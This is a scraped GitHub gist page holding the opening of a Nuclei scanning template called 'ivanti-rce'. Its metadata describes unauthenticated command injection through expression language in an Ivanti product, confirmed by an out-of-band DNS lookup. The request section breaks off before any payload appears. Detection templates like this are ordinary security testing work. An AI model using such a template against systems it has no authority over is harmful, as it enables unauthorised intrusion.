Skip to content

Instantly share code, notes, and snippets.

View fullspectrumdev's full-sized avatar

Darren fullspectrumdev

View GitHub Profile
id: ivanti-rce
info:
name: Make an ivanti do a DNS lookup by inject command in expression language which magically has no auth because security products.
author: fullspectrumdev
severity: critical
tags: dns,oob,rce
requests:
- raw:
https://gist.github.com/EvergreenCartoons/2113f183f83347fe922ae5380dcd1dcb